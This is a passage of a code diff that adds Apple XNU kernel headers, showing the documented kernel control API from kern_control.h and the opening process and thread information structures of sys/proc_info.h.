|
||||
kernel control.
|
||||
*/
|
||||
#define CTL_FLAG_PRIVILEGED 0x1
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_ID_UNIT
|
||||
@discussion The CTL_FLAG_REG_ID_UNIT flag is passed to indicate that
|
||||
the ctl_id specified should be used. If this flag is not
|
||||
present, a unique ctl_id will be dynamically assigned to your
|
||||
kernel control. The CTLIOCGINFO ioctl can be used by the client
|
||||
to find the dynamically assigned id based on the control name
|
||||
specified in ctl_name.
|
||||
*/
|
||||
#define CTL_FLAG_REG_ID_UNIT 0x2
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_SOCK_STREAM
|
||||
@discussion Use the CTL_FLAG_REG_SOCK_STREAM flag when client need to open
|
||||
socket of type SOCK_STREAM to communicate with the kernel control.
|
||||
By default kernel control sockets are of type SOCK_DGRAM.
|
||||
*/
|
||||
#define CTL_FLAG_REG_SOCK_STREAM 0x4
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_EXTENDED
|
||||
@discussion This flag indicates that this kernel control utilizes the
|
||||
the extended fields within the kern_ctl_reg structure.
|
||||
*/
|
||||
#define CTL_FLAG_REG_EXTENDED 0x8
|
||||
|
||||
/*!
|
||||
@defined CTL_FLAG_REG_CRIT
|
||||
@discussion This flag indicates that this kernel control utilizes the
|
||||
the extended fields within the kern_ctl_reg structure.
|
||||
*/
|
||||
#define CTL_FLAG_REG_CRIT 0x10
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
/* Data flags for controllers */
|
||||
/*!
|
||||
@defined CTL_DATA_NOWAKEUP
|
||||
@discussion The CTL_DATA_NOWAKEUP flag can be used for the enqueue
|
||||
data and enqueue mbuf functions to indicate that the process
|
||||
should not be woken up yet. This is useful when you want to
|
||||
enqueue data using more than one call but only want to wake up
|
||||
the client after all of the data has been enqueued.
|
||||
*/
|
||||
#define CTL_DATA_NOWAKEUP 0x1
|
||||
|
||||
/*!
|
||||
@defined CTL_DATA_EOR
|
||||
@discussion The CTL_DATA_EOR flag can be used for the enqueue
|
||||
data and enqueue mbuf functions to mark the end of a record.
|
||||
*/
|
||||
#define CTL_DATA_EOR 0x2
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@defined CTL_DATA_CRIT
|
||||
@discussion This flag indicates the data is critical to the client
|
||||
and that it needs to be forced into the socket buffer
|
||||
by resizing it if needed.
|
||||
*/
|
||||
#define CTL_DATA_CRIT 0x4
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
/*!
|
||||
@typedef ctl_connect_func
|
||||
@discussion The ctl_connect_func is used to receive
|
||||
notification of a client connecting to the kernel control.
|
||||
@param kctlref The control ref for the kernel control the client is
|
||||
connecting to.
|
||||
@param sac The address used to connect to this control. The field sc_unit
|
||||
contains the unit number of the kernel control instance the client is
|
||||
connecting to. If CTL_FLAG_REG_ID_UNIT was set when the kernel control
|
||||
was registered, sc_unit is the ctl_unit of the kern_ctl_reg structure.
|
||||
If CTL_FLAG_REG_ID_UNIT was not set when the kernel control was
|
||||
registered, sc_unit is the dynamically allocated unit number of
|
||||
the new kernel control instance that is used for this connection.
|
||||
@param unitinfo A placeholder for a pointer to the optional user-defined
|
||||
private data associated with this kernel control instance. This
|
||||
opaque info will be provided to the user when the rest of the
|
||||
callback routines are executed. For example, it can be used
|
||||
to pass a pointer to an instance-specific data structure in
|
||||
order for the user to keep track of the states related to this
|
||||
kernel control instance.
|
||||
*/
|
||||
typedef errno_t (*ctl_connect_func)(kern_ctl_ref kctlref,
|
||||
struct sockaddr_ctl *sac,
|
||||
void **unitinfo);
|
||||
|
||||
/*!
|
||||
@typedef ctl_disconnect_func
|
||||
@discussion The ctl_disconnect_func is used to receive notification
|
||||
that a client has disconnected from the kernel control. This
|
||||
usually happens when the socket is closed. If this is the last
|
||||
socket attached to your kernel control, you may unregister your
|
||||
kernel control from this callback.
|
||||
@param kctlref The control ref for the kernel control instance the client has
|
||||
disconnected from.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
disconnected from.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
*/
|
||||
typedef errno_t (*ctl_disconnect_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo);
|
||||
|
||||
/*!
|
||||
@typedef ctl_send_func
|
||||
@discussion The ctl_send_func is used to receive data sent from
|
||||
the client to the kernel control.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
connected to.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param m The data sent by the client to the kernel control in an
|
||||
mbuf chain. Your function is responsible for releasing the
|
||||
mbuf chain.
|
||||
@param flags The flags specified by the client when calling
|
||||
send/sendto/sendmsg (MSG_OOB/MSG_DONTROUTE).
|
||||
*/
|
||||
typedef errno_t (*ctl_send_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
mbuf_t m, int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_setopt_func
|
||||
@discussion The ctl_setopt_func is used to handle set socket option
|
||||
calls for the SYSPROTO_CONTROL option level.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param opt The socket option.
|
||||
@param data A pointer to the socket option data. The data has
|
||||
already been copied in to the kernel for you.
|
||||
@param len The length of the socket option data.
|
||||
*/
|
||||
typedef errno_t (*ctl_setopt_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int opt, void *data, size_t len);
|
||||
|
||||
/*!
|
||||
@typedef ctl_getopt_func
|
||||
@discussion The ctl_getopt_func is used to handle client get socket
|
||||
option requests for the SYSPROTO_CONTROL option level. A buffer
|
||||
is allocated for storage and passed to your function. The length
|
||||
of that buffer is also passed. Upon return, you should set *len
|
||||
to length of the buffer used. In some cases, data may be NULL.
|
||||
When this happens, *len should be set to the length you would
|
||||
have returned had data not been NULL. If the buffer is too small,
|
||||
return an error.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param opt The socket option.
|
||||
@param data A buffer to copy the results in to. May be NULL, see
|
||||
discussion.
|
||||
@param len A pointer to the length of the buffer. This should be set
|
||||
to the length of the buffer used before returning.
|
||||
*/
|
||||
typedef errno_t (*ctl_getopt_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int opt, void *data, size_t *len);
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
/*!
|
||||
@typedef ctl_rcvd_func
|
||||
@discussion The ctl_rcvd_func is called when the client reads data from
|
||||
the kernel control socket. The kernel control can use this callback
|
||||
in combination with ctl_getenqueuespace() to avoid overflowing
|
||||
the socket's receive buffer. When ctl_getenqueuespace() returns
|
||||
0 or ctl_enqueuedata()/ctl_enqueuembuf() return ENOBUFS, the
|
||||
kernel control can wait until this callback is called before
|
||||
trying to enqueue the data again.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param flags The recv flags. See the recv(2) man page.
|
||||
*/
|
||||
typedef void (*ctl_rcvd_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_send_list_func
|
||||
@discussion The ctl_send_list_func is used to receive data sent from
|
||||
the client to the kernel control.
|
||||
@param kctlref The control ref of the kernel control.
|
||||
@param unit The unit number of the kernel control instance the client has
|
||||
connected to.
|
||||
@param unitinfo The user-defined private data initialized by the
|
||||
ctl_connect_func callback.
|
||||
@param m The data sent by the client to the kernel control in an
|
||||
mbuf packet chain. Your function is responsible for releasing
|
||||
mbuf packet chain.
|
||||
@param flags The flags specified by the client when calling
|
||||
send/sendto/sendmsg (MSG_OOB/MSG_DONTROUTE).
|
||||
*/
|
||||
typedef errno_t (*ctl_send_list_func)(kern_ctl_ref kctlref, u_int32_t unit, void *unitinfo,
|
||||
mbuf_t m, int flags);
|
||||
|
||||
/*!
|
||||
@typedef ctl_bind_func
|
||||
@discussion The ctl_bind_func is an optional function that allows the client
|
||||
to set up their unitinfo prior to connecting.
|
||||
@param kctlref The control ref for the kernel control the client is
|
||||
binding to.
|
||||
@param sac The address used to connect to this control. The field sc_unit
|
||||
contains the unit number of the kernel control instance the client is
|
||||
binding to. If CTL_FLAG_REG_ID_UNIT was set when the kernel control
|
||||
was registered, sc_unit is the ctl_unit of the kern_ctl_reg structure.
|
||||
If CTL_FLAG_REG_ID_UNIT was not set when the kernel control was
|
||||
registered, sc_unit is the dynamically allocated unit number of
|
||||
the new kernel control instance that is used for this connection.
|
||||
@param unitinfo A placeholder for a pointer to the optional user-defined
|
||||
private data associated with this kernel control instance. This
|
||||
opaque info will be provided to the user when the rest of the
|
||||
callback routines are executed. For example, it can be used
|
||||
to pass a pointer to an instance-specific data structure in
|
||||
order for the user to keep track of the states related to this
|
||||
kernel control instance.
|
||||
*/
|
||||
typedef errno_t (*ctl_bind_func)(kern_ctl_ref kctlref,
|
||||
struct sockaddr_ctl *sac,
|
||||
void **unitinfo);
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
/*!
|
||||
@struct kern_ctl_reg
|
||||
@discussion This structure defines the properties of a kernel
|
||||
control being registered.
|
||||
@field ctl_name A Bundle ID string of up to MAX_KCTL_NAME bytes (including the ending zero).
|
||||
This string should not be empty.
|
||||
@field ctl_id The control ID may be dynamically assigned or it can be a
|
||||
32-bit creator code assigned by DTS.
|
||||
For a DTS assigned creator code the CTL_FLAG_REG_ID_UNIT flag must be set.
|
||||
For a dynamically assigned control ID, do not set the CTL_FLAG_REG_ID_UNIT flag.
|
||||
The value of the dynamically assigned control ID is set to this field
|
||||
when the registration succeeds.
|
||||
@field ctl_unit A separate unit number to register multiple units that
|
||||
share the same control ID with DTS assigned creator code when
|
||||
the CTL_FLAG_REG_ID_UNIT flag is set.
|
||||
This field is ignored for a dynamically assigned control ID.
|
||||
@field ctl_flags CTL_FLAG_PRIVILEGED and/or CTL_FLAG_REG_ID_UNIT.
|
||||
@field ctl_sendsize Override the default send size. If set to zero,
|
||||
the default send size will be used, and this default value
|
||||
is set to this field to be retrieved by the caller.
|
||||
@field ctl_recvsize Override the default receive size. If set to
|
||||
zero, the default receive size will be used, and this default value
|
||||
is set to this field to be retrieved by the caller.
|
||||
@field ctl_connect Specify the function to be called whenever a client
|
||||
connects to the kernel control. This field must be specified.
|
||||
@field ctl_disconnect Specify a function to be called whenever a
|
||||
client disconnects from the kernel control.
|
||||
@field ctl_send Specify a function to handle data send from the
|
||||
client to the kernel control.
|
||||
@field ctl_setopt Specify a function to handle set socket option
|
||||
operations for the kernel control.
|
||||
@field ctl_getopt Specify a function to handle get socket option
|
||||
operations for the kernel control.
|
||||
*/
|
||||
struct kern_ctl_reg
|
||||
{
|
||||
/* control information */
|
||||
char ctl_name[MAX_KCTL_NAME];
|
||||
u_int32_t ctl_id;
|
||||
u_int32_t ctl_unit;
|
||||
|
||||
/* control settings */
|
||||
u_int32_t ctl_flags;
|
||||
u_int32_t ctl_sendsize;
|
||||
u_int32_t ctl_recvsize;
|
||||
|
||||
/* Dispatch functions */
|
||||
ctl_connect_func ctl_connect;
|
||||
ctl_disconnect_func ctl_disconnect;
|
||||
ctl_send_func ctl_send;
|
||||
ctl_setopt_func ctl_setopt;
|
||||
ctl_getopt_func ctl_getopt;
|
||||
#ifdef KERNEL_PRIVATE
|
||||
ctl_rcvd_func ctl_rcvd; /* Only valid if CTL_FLAG_REG_EXTENDED is set */
|
||||
ctl_send_list_func ctl_send_list; /* Only valid if CTL_FLAG_REG_EXTENDED is set */
|
||||
ctl_bind_func ctl_bind;
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
};
|
||||
|
||||
/*!
|
||||
@function ctl_register
|
||||
@discussion Register a kernel control. This will enable clients to
|
||||
connect to the kernel control using a PF_SYSTEM socket.
|
||||
@param userkctl A structure defining the kernel control to be
|
||||
attached. The ctl_connect callback must be specified, the other callbacks
|
||||
are optional. If ctl_connect is set to zero, ctl_register fails with
|
||||
the error code EINVAL.
|
||||
@param kctlref Upon successful return, the kctlref will contain a
|
||||
reference to the attached kernel control. This reference is used
|
||||
to unregister the kernel control. This reference will also be
|
||||
passed in to the callbacks each time they are called.
|
||||
@result 0 - Kernel control was registered.
|
||||
EINVAL - The registration structure was not valid.
|
||||
ENOMEM - There was insufficient memory.
|
||||
EEXIST - A controller with that id/unit is already registered.
|
||||
*/
|
||||
errno_t
|
||||
ctl_register(struct kern_ctl_reg *userkctl, kern_ctl_ref *kctlref);
|
||||
|
||||
/*!
|
||||
@function ctl_deregister
|
||||
@discussion Unregister a kernel control. A kernel extension must
|
||||
unregister it's kernel control(s) before unloading. If a kernel
|
||||
control has clients attached, this call will fail.
|
||||
@param kctlref The control reference of the control to unregister.
|
||||
@result 0 - Kernel control was unregistered.
|
||||
EINVAL - The kernel control reference was invalid.
|
||||
EBUSY - The kernel control has clients still attached.
|
||||
*/
|
||||
errno_t
|
||||
ctl_deregister(kern_ctl_ref kctlref);
|
||||
|
||||
/*!
|
||||
@function ctl_enqueuedata
|
||||
@discussion Send data from the kernel control to the client.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param data A pointer to the data to send.
|
||||
@param len The length of data to send.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP and CTL_DATA_EOR are currently
|
||||
the only supported flags.
|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
EMSGSIZE - The buffer is too large.
|
||||
ENOBUFS - The queue is full or there are no free mbufs.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuedata(kern_ctl_ref kctlref, u_int32_t unit, void *data, size_t len, u_int32_t flags);
|
||||
|
||||
/*!
|
||||
@function ctl_enqueuembuf
|
||||
@discussion Send data stored in an mbuf chain from the kernel
|
||||
control to the client. The caller is responsible for freeing
|
||||
the mbuf chain if ctl_enqueuembuf returns an error.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param m An mbuf chain containing the data to send to the client.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP and CTL_DATA_EOR are currently
|
||||
the only supported flags.
|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
ENOBUFS - The queue is full.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuembuf(kern_ctl_ref kctlref, u_int32_t unit, mbuf_t m, u_int32_t flags);
|
||||
|
||||
#ifdef PRIVATE
|
||||
/*!
|
||||
@function ctl_enqueuembuf_list
|
||||
@discussion Send data stored in an mbuf packet chain from the kernel
|
||||
control to the client. The caller is responsible for freeing
|
||||
the mbuf chain if ctl_enqueuembuf returns an error.
|
||||
Not valid if ctl_flags contains CTL_FLAG_REG_SOCK_STREAM.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param m_list An mbuf chain containing the data to send to the client.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP is
|
||||
the only supported flags.
|
||||
@param m_remain A pointer to the list of mbuf packets in the chain that
|
||||
could not be enqueued.
|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
ENOBUFS - The queue is full.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuembuf_list(kern_ctl_ref kctlref, u_int32_t unit, mbuf_t m_list,
|
||||
u_int32_t flags, mbuf_t *m_remain);
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuepacketcount
|
||||
@discussion Retrieve the number of packets in the socket
|
||||
receive buffer.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param pcnt The address where to return the current count.
|
||||
@result 0 - Success; the packet count is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuepacketcount(kern_ctl_ref kctlref, u_int32_t unit, u_int32_t *pcnt);
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuespace
|
||||
@discussion Retrieve the amount of space currently available for data to be sent
|
||||
from the kernel control to the client.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param space The address where to return the current space available
|
||||
@result 0 - Success; the amount of space is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuespace(kern_ctl_ref kctlref, u_int32_t unit, size_t *space);
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuereadable
|
||||
@discussion Retrieve the difference between enqueued bytes and
|
||||
low-water mark for the socket receive buffer.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param difference The address at which to return the current difference
|
||||
between the low-water mark for the socket and the number of bytes
|
||||
enqueued. 0 indicates that the socket is readable by the client
|
||||
(the number of bytes in the buffer is above the low-water mark).
|
||||
@result 0 - Success; the difference is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuereadable(kern_ctl_ref kctlref, u_int32_t unit, u_int32_t *difference);
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
|
||||
#include <sys/queue.h>
|
||||
#include <libkern/locks.h>
|
||||
|
||||
/*
|
||||
* internal structure maintained for each register controller
|
||||
*/
|
||||
struct ctl_cb;
|
||||
struct kctl;
|
||||
struct socket;
|
||||
struct socket_info;
|
||||
|
||||
void kctl_fill_socketinfo(struct socket *, struct socket_info *);
|
||||
|
||||
u_int32_t ctl_id_by_name(const char *name);
|
||||
errno_t ctl_name_by_id(u_int32_t id, char *out_name, size_t maxsize);
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
__END_DECLS
|
||||
#endif /* KERNEL */
|
||||
|
||||
#endif /* KPI_KERN_CONTROL_H */
|
||||
|
||||
@@ -0,0 +1,967 @@
|
||||
/*
|
||||
* Copyright (c) 2005-2017 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
|
||||
#ifndef _SYS_PROC_INFO_H
|
||||
#define _SYS_PROC_INFO_H
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/kern_control.h>
|
||||
#include <sys/event.h>
|
||||
#include <net/if.h>
|
||||
#include <net/route.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <mach/machine.h>
|
||||
#include <uuid/uuid.h>
|
||||
|
||||
#ifdef PRIVATE
|
||||
#include <mach/coalition.h> /* COALITION_NUM_TYPES */
|
||||
#endif
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
|
||||
#define PROC_ALL_PIDS 1
|
||||
#define PROC_PGRP_ONLY 2
|
||||
#define PROC_TTY_ONLY 3
|
||||
#define PROC_UID_ONLY 4
|
||||
#define PROC_RUID_ONLY 5
|
||||
#define PROC_PPID_ONLY 6
|
||||
#define PROC_KDBG_ONLY 7
|
||||
|
||||
struct proc_bsdinfo {
|
||||
uint32_t pbi_flags; /* 64bit; emulated etc */
|
||||
uint32_t pbi_status;
|
||||
uint32_t pbi_xstatus;
|
||||
uint32_t pbi_pid;
|
||||
uint32_t pbi_ppid;
|
||||
uid_t pbi_uid;
|
||||
gid_t pbi_gid;
|
||||
uid_t pbi_ruid;
|
||||
gid_t pbi_rgid;
|
||||
uid_t pbi_svuid;
|
||||
gid_t pbi_svgid;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
char pbi_comm[MAXCOMLEN];
|
||||
char pbi_name[2*MAXCOMLEN]; /* empty if no name is registered */
|
||||
uint32_t pbi_nfiles;
|
||||
uint32_t pbi_pgid;
|
||||
uint32_t pbi_pjobc;
|
||||
uint32_t e_tdev; /* controlling tty dev */
|
||||
uint32_t e_tpgid; /* tty process group id */
|
||||
int32_t pbi_nice;
|
||||
uint64_t pbi_start_tvsec;
|
||||
uint64_t pbi_start_tvusec;
|
||||
};
|
||||
|
||||
|
||||
struct proc_bsdshortinfo {
|
||||
uint32_t pbsi_pid; /* process id */
|
||||
uint32_t pbsi_ppid; /* process parent id */
|
||||
uint32_t pbsi_pgid; /* process perp id */
|
||||
uint32_t pbsi_status; /* p_stat value, SZOMB, SRUN, etc */
|
||||
char pbsi_comm[MAXCOMLEN]; /* upto 16 characters of process name */
|
||||
uint32_t pbsi_flags; /* 64bit; emulated etc */
|
||||
uid_t pbsi_uid; /* current uid on process */
|
||||
gid_t pbsi_gid; /* current gid on process */
|
||||
uid_t pbsi_ruid; /* current ruid on process */
|
||||
gid_t pbsi_rgid; /* current tgid on process */
|
||||
uid_t pbsi_svuid; /* current svuid on process */
|
||||
gid_t pbsi_svgid; /* current svgid on process */
|
||||
uint32_t pbsi_rfu; /* reserved for future use*/
|
||||
};
|
||||
|
||||
|
||||
#ifdef PRIVATE
|
||||
struct proc_uniqidentifierinfo {
|
||||
uint8_t p_uuid[16]; /* UUID of the main executable */
|
||||
uint64_t p_uniqueid; /* 64 bit unique identifier for process */
|
||||
uint64_t p_puniqueid; /* unique identifier for process's parent */
|
||||
uint64_t p_reserve2; /* reserved for future use */
|
||||
uint64_t p_reserve3; /* reserved for future use */
|
||||
uint64_t p_reserve4; /* reserved for future use */
|
||||
};
|
||||
|
||||
|
||||
struct proc_bsdinfowithuniqid {
|
||||
struct proc_bsdinfo pbsd;
|
||||
struct proc_uniqidentifierinfo p_uniqidentifier;
|
||||
};
|
||||
|
||||
struct proc_archinfo {
|
||||
cpu_type_t p_cputype;
|
||||
cpu_subtype_t p_cpusubtype;
|
||||
};
|
||||
|
||||
struct proc_pidcoalitioninfo {
|
||||
uint64_t coalition_id[COALITION_NUM_TYPES];
|
||||
uint64_t reserved1;
|
||||
uint64_t reserved2;
|
||||
uint64_t reserved3;
|
||||
};
|
||||
|
||||
struct proc_originatorinfo {
|
||||
uuid_t originator_uuid; /* UUID of the originator process */
|
||||
pid_t originator_pid; /* pid of the originator process */
|
||||
uint64_t p_reserve2;
|
||||
uint64_t p_reserve3;
|
||||
uint64_t p_reserve4;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/* pbi_flags values */
|
||||
#define PROC_FLAG_SYSTEM 1 /* System process */
|
||||
#define PROC_FLAG_TRACED 2 /* process currently being traced, possibly by gdb */
|
||||
#define PROC_FLAG_INEXIT 4 /* process is working its way in exit() */
|
||||
#define PROC_FLAG_PPWAIT 8
|
||||
#define PROC_FLAG_LP64 0x10 /* 64bit process */
|
||||
#define PROC_FLAG_SLEADER 0x20 /* The process is the session leader */
|
||||
#define PROC_FLAG_CTTY 0x40 /* process has a control tty */
|
||||
#define PROC_FLAG_CONTROLT 0x80 /* Has a controlling terminal */
|
||||
#define PROC_FLAG_THCWD 0x100 /* process has a thread with cwd */
|
||||
/* process control bits for resource starvation */
|
||||
#define PROC_FLAG_PC_THROTTLE 0x200 /* In resource starvation situations, this process is to be throttled */
|
||||
#define PROC_FLAG_PC_SUSP 0x400 /* In resource starvation situations, this process is to be suspended */
|
||||
#define PROC_FLAG_PC_KILL 0x600 /* In resource starvation situations, this process is to be terminated */
|
||||
#define PROC_FLAG_PC_MASK 0x600
|
||||
/* process action bits for resource starvation */
|
||||
#define PROC_FLAG_PA_THROTTLE 0x800 /* The process is currently throttled due to resource starvation */
|
||||
#define PROC_FLAG_PA_SUSP 0x1000 /* The process is currently suspended due to resource starvation */
|
||||
#define PROC_FLAG_PSUGID 0x2000 /* process has set privileges since last exec */
|
||||
#define PROC_FLAG_EXEC 0x4000 /* process has called exec */
|
||||
#ifdef PRIVATE
|
||||
#define PROC_FLAG_DARWINBG 0x8000 /* process in darwin background */
|
||||
#define PROC_FLAG_EXT_DARWINBG 0x10000 /* process in darwin background - external enforcement */
|
||||
#define PROC_FLAG_IOS_APPLEDAEMON 0x20000 /* Process is apple daemon */
|
||||
#define PROC_FLAG_DELAYIDLESLEEP 0x40000 /* Process is marked to delay idle sleep on disk IO */
|
||||
#define PROC_FLAG_IOS_IMPPROMOTION 0x80000 /* Process is daemon which receives importane donation */
|
||||
#define PROC_FLAG_ADAPTIVE 0x100000 /* Process is adaptive */
|
||||
#define PROC_FLAG_ADAPTIVE_IMPORTANT 0x200000 /* Process is adaptive, and is currently important */
|
||||
#define PROC_FLAG_IMPORTANCE_DONOR 0x400000 /* Process is marked as an importance donor */
|
||||
#define PROC_FLAG_SUPPRESSED 0x800000 /* Process is suppressed */
|
||||
#define PROC_FLAG_APPLICATION 0x1000000 /* Process is an application */
|
||||
#define PROC_FLAG_IOS_APPLICATION PROC_FLAG_APPLICATION /* Process is an application */
|
||||
#endif
|
||||
|
||||
|
||||
struct proc_taskinfo {
|
||||
uint64_t pti_virtual_size; /* virtual memory size (bytes) */
|
||||
uint64_t pti_resident_size; /* resident memory size (bytes) */
|
||||
uint64_t pti_total_user; /* total time */
|
||||
uint64_t pti_total_system;
|
||||
uint64_t pti_threads_user; /* existing threads only */
|
||||
uint64_t pti_threads_system;
|
||||
int32_t pti_policy; /* default policy for new threads */
|
||||
int32_t pti_faults; /* number of page faults */
|
||||
int32_t pti_pageins; /* number of actual pageins */
|
||||
int32_t pti_cow_faults; /* number of copy-on-write faults */
|
||||
int32_t pti_messages_sent; /* number of messages sent */
|
||||
int32_t pti_messages_received; /* number of messages received */
|
||||
int32_t pti_syscalls_mach; /* number of mach system calls */
|
||||
int32_t pti_syscalls_unix; /* number of unix system calls */
|
||||
int32_t pti_csw; /* number of context switches */
|
||||
int32_t pti_threadnum; /* number of threads in the task */
|
||||
int32_t pti_numrunning; /* number of running threads */
|
||||
int32_t pti_priority; /* task priority*/
|
||||
};
|
||||
|
||||
struct proc_taskallinfo {
|
||||
struct proc_bsdinfo pbsd;
|
||||
struct proc_taskinfo ptinfo;
|
||||
};
|
||||
|
||||
#define MAXTHREADNAMESIZE 64
|
||||
|
||||
struct proc_threadinfo {
|
||||
uint64_t pth_user_time; /* user run time */
|
||||
uint64_t pth_system_time; /* system run time */
|
||||
int32_t pth_cpu_usage; /* scaled cpu usage percentage */
|
||||
int32_t pth_policy; /* scheduling policy in effect */
|
||||
int32_t pth_run_state; /* run state (see below) */
|
||||
int32_t pth_flags; /* various flags (see below) */
|
||||
int32_t pth_sleep_time; /* number of seconds that thread */
|
||||
int32_t pth_curpri; /* cur priority*/
|
||||
int32_t pth_priority; /* priority*/
|
||||
int32_t pth_maxpriority; /* max priority*/
|
||||
char pth_name[MAXTHREADNAMESIZE]; /* thread name, if any */
|
||||
};
|
||||
|
||||
struct proc_regioninfo {
|
||||
uint32_t pri_protection;
|
||||
uint32_t pri_max_protection;
|
||||
uint32_t pri_inheritance;
|
||||
uint32_t pri_flags; /* shared, external pager, is submap */
|
||||
uint64_t pri_offset;
|
||||
uint32_t pri_behavior;
|
||||
uint32_t pri_user_wired_count;
|
||||
uint32_t pri_user_tag;
|
||||
uint32_t pri_pages_resident;
|
||||
uint32_t pri_pages_shared_now_private;
|
||||
uint32_t pri_pages_swapped_out;
|
||||
uint32_t pri_pages_dirtied;
|
||||
uint32_t pri_ref_count;
|
||||
uint32_t pri_shadow_depth;
|
||||
uint32_t pri_share_mode;
|
||||
uint32_t pri_private_pages_resident;
|
||||
uint32_t pri_shared_pages_resident;
|
||||
uint32_t pri_obj_id;
|
||||
uint32_t pri_depth;
|
||||
uint64_t pri_address;
|
||||
uint64_t pri_size;
|
||||
};
|
||||
|
||||
#define PROC_REGION_SUBMAP 1
|
||||
#define PROC_REGION_SHARED 2
|
||||
|
||||
#define SM_COW 1
|
||||
#define SM_PRIVATE 2
|
||||
#define SM_EMPTY 3
|
||||
#define SM_SHARED 4
|
||||
#define SM_TRUESHARED 5
|
||||
